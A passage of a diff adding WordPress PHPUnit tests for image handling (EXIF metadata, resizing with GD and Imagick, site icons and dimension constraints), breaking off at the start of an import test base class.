+		add_image_size( 'test-size', 0, $height, false );
+		add_image_size( 'false-height', 300, $height, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		$original = wp_get_attachment_metadata( $id );
+		$image_h = $height;
+		$image_w = round( ( $image_h / $original['height'] ) * $original['width'] );
+
+		// look for a size by array that exists
+		// note: staying larger than 300px to miss default medium crop
+		$image = image_get_intermediate_size( $id, array( 0, $height ) );
+
+		// test for the expected string because the array will by definition
+		// return with the correct height and width attributes
+		$this->assertTrue( strpos( $image['file'], $image_w . 'x' . $image_h ) > 0 );
+	}
+
+	/**
+	 * @ticket 17626
+	 * @ticket 34087
+	 */
+	public function test_get_intermediate_sizes_should_match_size_with_off_by_one_aspect_ratio() {
+		// Original is 600x400. 300x201 is close enough to match.
+		$width  = 300;
+		$height = 201;
+		add_image_size( 'off-by-one', $width, $height, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		$original = wp_get_attachment_metadata( $id );
+		$image_h = $height;
+		$image_w = round( ( $image_h / $original['height'] ) * $original['width'] );
+
+		// look for a size by array that exists
+		// note: staying larger than 300px to miss default medium crop
+		$image = image_get_intermediate_size( $id, array( 0, $height ) );
+
+		$this->assertTrue( strpos( $image['file'], $width . 'x' . $height ) > 0 );
+	}
+
+	/**
+	 * @ticket 34384
+	 */
+	public function test_get_intermediate_size_with_small_size_array() {
+		// Add a hard cropped size that matches the aspect ratio we're going to test.
+		add_image_size( 'test-size', 200, 100, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		// Request a size by array that doesn't exist and is smaller than the 'thumbnail'
+		$image = image_get_intermediate_size( $id, array( 50, 25 ) );
+
+		// We should get the 'test-size' file and not the thumbnail.
+		$this->assertTrue( strpos( $image['file'], '200x100' ) > 0 );
+	}
+
+	/**
+	 * @ticket 34384
+	 */
+	public function test_get_intermediate_size_with_small_size_array_fallback() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		$original = wp_get_attachment_metadata( $id );
+		$thumbnail_file = $original['sizes']['thumbnail']['file'];
+
+		// Request a size by array that doesn't exist and is smaller than the 'thumbnail'
+		$image = image_get_intermediate_size( $id, array( 50, 25 ) );
+
+		// We should get the 'thumbnail' file as a fallback.
+		$this->assertSame( $image['file'], $thumbnail_file );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/meta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/meta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/meta.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Meta extends WP_UnitTestCase {
+	function setUp() {
+		if ( ! extension_loaded( 'gd' ) )
+			$this->markTestSkipped( 'The gd PHP extension is not loaded.' );
+		if ( ! extension_loaded( 'exif' ) )
+			$this->markTestSkipped( 'The exif PHP extension is not loaded.' );
+
+		parent::setUp();
+	}
+
+	function test_exif_d70() {
+		// exif from a Nikon D70
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0008.jpg');
+
+		$this->assertEquals(6.3, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('NIKON D70', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(strtotime('2004-07-22 17:14:59'), $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(27, $out['focal_length']);
+		$this->assertEquals(400, $out['iso']);
+		$this->assertEquals(1/40, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+	}
+
+	function test_exif_d70_mf() {
+		// exif from a Nikon D70 - manual focus lens, so some data is unavailable
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG');
+
+		$this->assertEquals(0, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('NIKON D70', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(strtotime('2007-06-17 21:18:00'), $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(0, $out['focal_length']);
+		$this->assertEquals(0, $out['iso']); // interesting - a Nikon bug?
+		$this->assertEquals(1/500, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+		#$this->assertEquals(array('Flowers'), $out['keywords']);
+	}
+
+	function test_exif_d70_iptc() {
+		// exif from a Nikon D70 with IPTC data added later
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0007.jpg');
+
+		$this->assertEquals(6.3, $out['aperture']);
+		$this->assertEquals('IPTC Creator', $out['credit']);
+		$this->assertEquals('NIKON D70', $out['camera']);
+		$this->assertEquals('IPTC Caption', $out['caption']);
+		$this->assertEquals(strtotime('2004-07-22 17:14:35'), $out['created_timestamp']);
+		$this->assertEquals('IPTC Copyright', $out['copyright']);
+		$this->assertEquals(18, $out['focal_length']);
+		$this->assertEquals(200, $out['iso']);
+		$this->assertEquals(1/25, $out['shutter_speed']);
+		$this->assertEquals('IPTC Headline', $out['title']);
+	}
+
+	function test_exif_fuji() {
+		// exif from a Fuji FinePix S5600 (thanks Mark)
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/a2-small.jpg');
+
+		$this->assertEquals(4.5, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('FinePix S5600', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(strtotime('2007-09-03 10:17:03'), $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(6.3, $out['focal_length']);
+		$this->assertEquals(64, $out['iso']);
+		$this->assertEquals(1/320, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+
+	}
+
+	/**
+	 * @ticket 6571
+	 */
+	function test_exif_error() {
+
+		// https://core.trac.wordpress.org/ticket/6571
+		// this triggers a warning mesage when reading the exif block
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/waffles.jpg');
+
+		$this->assertEquals(0, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(0, $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(0, $out['focal_length']);
+		$this->assertEquals(0, $out['iso']);
+		$this->assertEquals(0, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+	}
+
+	function test_exif_no_data() {
+		// no exif data in this image (from burningwell.org)
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/canola.jpg');
+
+		$this->assertEquals(0, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(0, $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(0, $out['focal_length']);
+		$this->assertEquals(0, $out['iso']);
+		$this->assertEquals(0, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+	}
+
+	/**
+	 * @ticket 9417
+	 */
+	function test_utf8_iptc_tags() {
+
+		// trilingual UTF-8 text in the ITPC caption-abstract field
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/test-image-iptc.jpg');
+
+		$this->assertEquals('This is a comment. / Это комментарий. / Βλέπετε ένα σχόλιο.', $out['caption']);
+	}
+
+	/**
+	 * wp_read_image_metadata() should false if the image file doesn't exist
+	 * @return void
+	 */
+	public function test_missing_image_file() {
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/404_image.png');
+		$this->assertFalse($out);
+	}
+
+
+	/**
+	 * @ticket 33772
+	 */
+	public function test_exif_keywords() {
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/33772.jpg');
+
+		$this->assertEquals( '8', $out['aperture'] );
+		$this->assertEquals( 'Photoshop Author', $out['credit'] );
+		$this->assertEquals( 'DMC-LX2', $out['camera'] );
+		$this->assertEquals( 'Photoshop Description', $out['caption'] );
+		$this->assertEquals( 1306315327, $out['created_timestamp'] );
+		$this->assertEquals( 'Photoshop Copyrright Notice', $out['copyright'] );
+		$this->assertEquals( '6.3', $out['focal_length'] );
+		$this->assertEquals( '100', $out['iso'] );
+		$this->assertEquals( '0.0025', $out['shutter_speed'] );
+		$this->assertEquals( 'Photoshop Document Ttitle', $out['title'] );
+		$this->assertEquals( 1, $out['orientation']);
+		$this->assertEquals( array( 'beach', 'baywatch', 'LA', 'sunset' ), $out['keywords'] );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/resize.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/resize.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/resize.php	(revision 56912)
@@ -0,0 +1,185 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ * @group resize
+ */
+require_once( dirname( __FILE__ ) . '/base.php' );
+
+abstract class WP_Tests_Image_Resize_UnitTestCase extends WP_Image_UnitTestCase {
+
+	public function setUp() {
+		parent::setUp();
+
+		add_filter( 'wp_image_editors', array( $this, 'wp_image_editors' ) );
+	}
+
+	public function tearDown() {
+		remove_filter( 'wp_image_editors', array( $this, 'wp_image_editors' ) );
+
+		parent::tearDown();
+	}
+
+	public function wp_image_editors() {
+		return array( $this->editor_engine );
+	}
+
+	function test_resize_jpg() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 25, 25 );
+
+		$this->assertEquals( 'test-image-25x25.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 25, $w );
+		$this->assertEquals( 25, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_png() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.png', 25, 25 );
+
+		if ( ! is_string( $image ) ) {  // WP_Error, stop GLib-GObject-CRITICAL assertion
+			$this->fail( sprintf( 'No PNG support in the editor engine %s on this system', $this->editor_engine ) );
+		}
+
+		$this->assertEquals( 'test-image-25x25.png', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 25, $w );
+		$this->assertEquals( 25, $h );
+		$this->assertEquals( IMAGETYPE_PNG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_gif() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.gif', 25, 25 );
+
+		if ( ! is_string( $image ) ) {  // WP_Error, stop GLib-GObject-CRITICAL assertion
+			$this->fail( sprintf( 'No GIF support in the editor engine %s on this system', $this->editor_engine ) );
+		}
+
+		$this->assertEquals( 'test-image-25x25.gif', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 25, $w );
+		$this->assertEquals( 25, $h );
+		$this->assertEquals( IMAGETYPE_GIF, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_larger() {
+		// image_resize() should refuse to make an image larger
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 100, 100 );
+
+		$this->assertInstanceOf( 'WP_Error', $image );
+		$this->assertEquals( 'error_getting_dimensions', $image->get_error_code() );
+	}
+
+	function test_resize_thumb_128x96() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 96 );
+
+		$this->assertEquals( '2007-06-17DSC_4173-64x96.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 64, $w );
+		$this->assertEquals( 96, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_128x0() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 0 );
+
+		$this->assertEquals( '2007-06-17DSC_4173-128x193.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 128, $w );
+		$this->assertEquals( 193, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_0x96() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 0, 96 );
+
+		$this->assertEquals( '2007-06-17DSC_4173-64x96.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 64, $w );
+		$this->assertEquals( 96, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_150x150_crop() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 150, true );
+
+		$this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 150, $w );
+		$this->assertEquals( 150, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_150x100_crop() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 100, true );
+
+		$this->assertEquals( '2007-06-17DSC_4173-150x100.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 150, $w );
+		$this->assertEquals( 100, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_thumb_50x150_crop() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 50, 150, true );
+
+		$this->assertEquals( '2007-06-17DSC_4173-50x150.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 50, $w );
+		$this->assertEquals( 150, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	/**
+	 * Try resizing a non-existent image
+	 * @ticket 6821
+	 */
+	public function test_resize_non_existent_image() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-non-existent-image.jpg', 25, 25 );
+
+		$this->assertInstanceOf( 'WP_Error', $image );
+		$this->assertEquals( 'error_loading_image', $image->get_error_code() );
+	}
+
+	/**
+	 * Function to help out the tests
+	 */
+	protected function resize_helper( $file, $width, $height, $crop = false ) {
+		$editor = wp_get_image_editor( $file );
+
+		if ( is_wp_error( $editor ) )
+			return $editor;
+
+		$resized = $editor->resize( $width, $height, $crop );
+		 if ( is_wp_error( $resized ) )
+			return $resized;
+
+		$dest_file = $editor->generate_filename();
+		$saved = $editor->save( $dest_file );
+
+		if ( is_wp_error( $saved ) )
+			return $saved;
+
+		return $dest_file;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/resizeGd.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/resizeGd.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/resizeGd.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ * @group resize
+ */
+require_once( dirname( __FILE__ ) . '/resize.php' );
+
+class Test_Image_Resize_GD extends WP_Tests_Image_Resize_UnitTestCase {
+
+	/**
+	 * Use the GD image editor engine
+	 * @var string
+	 */
+	public $editor_engine = 'WP_Image_Editor_GD';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+
+		parent::setUp();
+	}
+
+	/**
+	 * Try resizing a php file (bad image)
+	 * @ticket 6821
+	 */
+	public function test_resize_bad_image() {
+
+		$image = $this->resize_helper( DIR_TESTDATA.'/export/crazy-cdata.xml', 25, 25 );
+		$this->assertInstanceOf( 'WP_Error', $image );
+		$this->assertEquals( 'invalid_image', $image->get_error_code() );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/resizeImagick.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/resizeImagick.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/resizeImagick.php	(revision 56912)
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ * @group resize
+ */
+require_once( dirname( __FILE__ ) . '/resize.php' );
+
+class Test_Image_Resize_Imagick extends WP_Tests_Image_Resize_UnitTestCase {
+
+	/**
+	 * Use the Imagick image editor engine
+	 * @var string
+	 */
+	public $editor_engine = 'WP_Image_Editor_Imagick';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+		parent::setUp();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/siteIcon.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/siteIcon.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/siteIcon.php	(revision 56912)
@@ -0,0 +1,171 @@
+<?php
+/**
+ * Tests for the WP_Site_Icon class.
+ *
+ * @group site_icon
+ */
+
+require_once( ABSPATH . 'wp-admin/includes/class-wp-site-icon.php' );
+
+class Tests_WP_Site_Icon extends WP_UnitTestCase {
+	protected $wp_site_icon;
+
+	public $attachment_id = 0;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->wp_site_icon = new WP_Site_Icon();
+	}
+
+	function tearDown() {
+		$this->_remove_custom_logo();
+		$this->remove_added_uploads();
+		parent::tearDown();
+	}
+
+	function _remove_custom_logo() {
+		remove_theme_mod( 'custom_logo' );
+	}
+
+	function test_intermediate_image_sizes() {
+		$image_sizes = $this->wp_site_icon->intermediate_image_sizes( array() );
+
+		$sizes = array();
+		foreach ( $this->wp_site_icon->site_icon_sizes as $size ) {
+			$sizes[] = 'site_icon-' . $size;
+		}
+
+		$this->assertEquals( $sizes, $image_sizes );
+	}
+
+	function test_intermediate_image_sizes_with_filter() {
+		add_filter( 'site_icon_image_sizes', array( $this, '_custom_test_sizes' ) );
+		$image_sizes = $this->wp_site_icon->intermediate_image_sizes( array() );
+
+		$sizes = array();
+		foreach ( $this->wp_site_icon->site_icon_sizes as $size ) {
+			$sizes[] = 'site_icon-' . $size;
+		}
+
+		// Is our custom icon size there?
+		$this->assertContains( 'site_icon-321', $image_sizes );
+
+		// All icon sizes should be part of the array, including sizes added through the filter.
+		$this->assertEquals( $sizes, $image_sizes );
+
+		// Remove custom size.
+		unset( $this->wp_site_icon->site_icon_sizes[ array_search( 321, $this->wp_site_icon->site_icon_sizes ) ] );
+		// Remove the filter we added
+		remove_filter( 'site_icon_image_sizes', array( $this, '_custom_test_sizes' ) );
+	}
+
+	function test_additional_sizes() {
+		$image_sizes = $this->wp_site_icon->additional_sizes( array() );
+
+		$sizes = array();
+		foreach ( $this->wp_site_icon->site_icon_sizes as $size ) {
+			$sizes[ 'site_icon-' . $size ] = array(
+				'width ' => $size,
+				'height' => $size,
+				'crop'   => true,
+			);
+		}
+
+		$this->assertEquals( $sizes, $image_sizes );
+	}
+
+	function test_additional_sizes_with_filter() {
+		add_filter( 'site_icon_image_sizes', array( $this, '_custom_test_sizes' ) );
+		$image_sizes = $this->wp_site_icon->additional_sizes( array() );
+
+		$sizes = array();
+		foreach ( $this->wp_site_icon->site_icon_sizes as $size ) {
+			$sizes[ 'site_icon-' . $size ] = array(
+				'width ' => $size,
+				'height' => $size,
+				'crop'   => true,
+			);
+		}
+
+		// Is our custom icon size there?
+		$this->assertArrayHasKey( 'site_icon-321', $image_sizes );
+
+		// All icon sizes should be part of the array, including sizes added through the filter.
+		$this->assertEquals( $sizes, $image_sizes );
+
+		// Remove custom size.
+		unset( $this->wp_site_icon->site_icon_sizes[ array_search( 321, $this->wp_site_icon->site_icon_sizes ) ] );
+	}
+
+	function test_create_attachment_object() {
+		$attachment_id = $this->_insert_attachment();
+		$parent_url    = get_post( $attachment_id )->guid;
+		$cropped       = str_replace( basename( $parent_url ), 'cropped-test-image.jpg', $parent_url );
+
+		$object = $this->wp_site_icon->create_attachment_object( $cropped, $attachment_id );
+
+		$this->assertEquals( $object['post_title'],     'cropped-test-image.jpg' );
+		$this->assertEquals( $object['context'],        'site-icon' );
+		$this->assertEquals( $object['post_mime_type'], 'image/jpeg' );
+		$this->assertEquals( $object['post_content'],   $cropped );
+		$this->assertEquals( $object['guid'],           $cropped );
+	}
+
+	function test_insert_cropped_attachment() {
+		$attachment_id = $this->_insert_attachment();
+		$parent_url    = get_post( $attachment_id )->guid;
+		$cropped       = str_replace( basename( $parent_url ), 'cropped-test-image.jpg', $parent_url );
+
+		$object     = $this->wp_site_icon->create_attachment_object( $cropped, $attachment_id );
+		$cropped_id = $this->wp_site_icon->insert_attachment( $object, $cropped );
+
+		$this->assertInternalType( 'int', $cropped_id );
+		$this->assertGreaterThan( 0, $cropped_id );
+	}
+
+	function test_delete_attachment_data() {
+		$attachment_id = $this->_insert_attachment();
+		update_option( 'site_icon', $attachment_id );
+
+		wp_delete_attachment( $attachment_id, true );
+
+		$this->assertFalse( get_option( 'site_icon', false ) );
+	}
+
+	/**
+	 * @ticket 34368
+	 */
+	function test_get_post_metadata() {
+		$attachment_id = $this->_insert_attachment();
+		update_option( 'site_icon', $attachment_id );
+
+		$this->wp_site_icon->get_post_metadata( '', $attachment_id, '_some_post_meta', true );
+		$this->assertFalse( has_filter( 'intermediate_image_sizes', array( $this->wp_site_icon, 'intermediate_image_sizes' ) ) );
+
+		$this->wp_site_icon->get_post_metadata( '', $attachment_id, '_wp_attachment_backup_sizes', true );
+		$this->assertSame( 10,  has_filter( 'intermediate_image_sizes', array( $this->wp_site_icon, 'intermediate_image_sizes' ) ) );
+
+		wp_delete_attachment( $attachment_id, true );
+	}
+
+	function _custom_test_sizes( $sizes ) {
+		$sizes[] = 321;
+
+		return $sizes;
+	}
+
+	function _insert_attachment() {
+		if ( $this->attachment_id ) {
+			return $this->attachment_id;
+		}
+
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+
+		$this->attachment_id = $this->_make_attachment( $upload );
+		return $this->attachment_id;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/size.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/size.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/size.php	(revision 56912)
@@ -0,0 +1,212 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Size extends WP_UnitTestCase {
+
+	function test_constrain_dims_zero() {
+		// no constraint - should have no effect
+		$out = wp_constrain_dimensions(640, 480, 0, 0);
+		$this->assertSame( array( 640, 480 ), $out );
+
+		$out = wp_constrain_dimensions(640, 480);
+		$this->assertSame( array( 640, 480 ), $out );
+
+		$out = wp_constrain_dimensions(0, 0, 0, 0);
+		$this->assertSame( array( 0, 0 ), $out );
+
+		$out = wp_constrain_dimensions(465, 700, 177, 177);
+		$this->assertSame( array( 118, 177 ), $out );
+	}
+
+	function test_constrain_dims_smaller() {
+		// image size is smaller than the constraint - no effect
+		$out = wp_constrain_dimensions(500, 600, 1024, 768);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_constrain_dimensions(500, 600, 0, 768);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_constrain_dimensions(500, 600, 1024, 0);
+		$this->assertSame( array( 500, 600 ), $out );
+	}
+
+	function test_constrain_dims_equal() {
+		// image size is equal to the constraint - no effect
+		$out = wp_constrain_dimensions(1024, 768, 1024, 768);
+		$this->assertSame( array( 1024, 768 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 0, 768);
+		$this->assertSame( array( 1024, 768 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 1024, 0);
+		$this->assertSame( array( 1024, 768 ), $out );
+	}
+
+	function test_constrain_dims_larger() {
+		// image size is larger than the constraint - result should be constrained
+		$out = wp_constrain_dimensions(1024, 768, 500, 600);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 0, 600);
+		$this->assertSame( array( 800, 600 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 500, 0);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		// also try a portrait oriented image
+		$out = wp_constrain_dimensions(300, 800, 500, 600);
+		$this->assertSame( array( 225, 600 ), $out );
+
+		$out = wp_constrain_dimensions(300, 800, 0, 600);
+		$this->assertSame( array( 225, 600 ), $out );
+
+		$out = wp_constrain_dimensions(300, 800, 200, 0);
+		$this->assertSame( array( 200, 533 ), $out );
+	}
+
+	function test_constrain_dims_boundary() {
+		// one dimension is larger than the constraint, one smaller - result should be constrained
+		$out = wp_constrain_dimensions(1024, 768, 500, 800);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_constrain_dimensions(1024, 768, 2000, 700);
+		$this->assertSame( array( 933, 700 ), $out );
+
+		// portrait
+		$out = wp_constrain_dimensions(768, 1024, 800, 500);
+		$this->assertSame( array( 375, 500 ), $out );
+
+		$out = wp_constrain_dimensions(768, 1024, 2000, 700);
+		$this->assertSame( array( 525, 700 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_default() {
+		$out = wp_shrink_dimensions(640, 480);
+		$this->assertSame( array( 128, 96 ), $out );
+
+		$out = wp_shrink_dimensions(480, 640);
+		$this->assertSame( array( 72, 96 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_smaller() {
+		// image size is smaller than the constraint - no effect
+		$out = wp_shrink_dimensions(500, 600, 1024, 768);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_shrink_dimensions(600, 500, 1024, 768);
+		$this->assertSame( array( 600, 500 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_equal() {
+		// image size is equal to the constraint - no effect
+		$out = wp_shrink_dimensions(500, 600, 500, 600);
+		$this->assertSame( array( 500, 600 ), $out );
+
+		$out = wp_shrink_dimensions(600, 500, 600, 500);
+		$this->assertSame( array( 600, 500 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_larger() {
+		// image size is larger than the constraint - result should be constrained
+		$out = wp_shrink_dimensions(1024, 768, 500, 600);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_shrink_dimensions(300, 800, 500, 600);
+		$this->assertSame( array( 225, 600 ), $out );
+	}
+
+	/**
+	 * @expectedDeprecated wp_shrink_dimensions
+	 */
+	function test_shrink_dimensions_boundary() {
+		// one dimension is larger than the constraint, one smaller - result should be constrained
+		$out = wp_shrink_dimensions(1024, 768, 500, 800);
+		$this->assertSame( array( 500, 375 ), $out );
+
+		$out = wp_shrink_dimensions(1024, 768, 2000, 700);
+		$this->assertSame( array( 933, 700 ), $out );
+
+		// portrait
+		$out = wp_shrink_dimensions(768, 1024, 800, 500);
+		$this->assertSame( array( 375, 500 ), $out );
+
+		$out = wp_shrink_dimensions(768, 1024, 2000, 700);
+		$this->assertSame( array( 525, 700 ), $out );
+	}
+
+	function test_constrain_size_for_editor_thumb() {
+		$out = image_constrain_size_for_editor(600, 400, 'thumb');
+		$this->assertSame( array( 150, 100 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'thumb');
+		$this->assertSame( array( 64, 64 ), $out );
+	}
+
+	function test_constrain_size_for_editor_medium() {
+		// default max width is 500, no constraint on height
+		global $content_width;
+
+		$_content_width = $content_width;
+
+		$content_width = 0;
+		update_option('medium_size_w', 500);
+		update_option('medium_size_h', 0);
+
+		$out = image_constrain_size_for_editor(600, 400, 'medium');
+		$this->assertSame( array( 500, 333 ), $out );
+
+		$out = image_constrain_size_for_editor(400, 600, 'medium');
+		$this->assertSame( array( 400, 600 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'medium');
+		$this->assertSame( array( 64, 64 ), $out );
+
+		// content_width should be ignored
+		$content_width = 350;
+		$out = image_constrain_size_for_editor(600, 400, 'medium');
+		$this->assertSame( array( 500, 333 ), $out );
+
+		$content_width = $_content_width;
+	}
+
+	function test_constrain_size_for_editor_full() {
+		global $content_width;
+
+		$_content_width = $content_width;
+
+		$content_width = 400;
+		$out = image_constrain_size_for_editor(600, 400, 'full');
+		$this->assertSame( array( 600, 400 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'full');
+		$this->assertSame( array( 64, 64 ), $out );
+
+		// content_width default is 500
+		$content_width = 0;
+
+		$out = image_constrain_size_for_editor(600, 400, 'full');
+		$this->assertSame( array( 600, 400 ), $out );
+
+		$out = image_constrain_size_for_editor(64, 64, 'full');
+		$this->assertSame( array( 64, 64 ), $out );
+
+		$content_width = $_content_width;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/import/base.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/import/base.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/import/base.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+
+abstract class WP_Import_UnitTestCase extends WP_UnitTestCase {
+	/**
+	 * Import a WXR file.
+	 *
+	 * The $users parameter provides information on how users specified in the import
+	 * file should be imported. Each key is a user login name and indicates if the user
+	 * should be mapped to an existing user, created as a new user with a particular login
+	 * or imported with the information held in the WXR file. An example of this:
+	 *
+	 * <code>
+	 * $users = array(
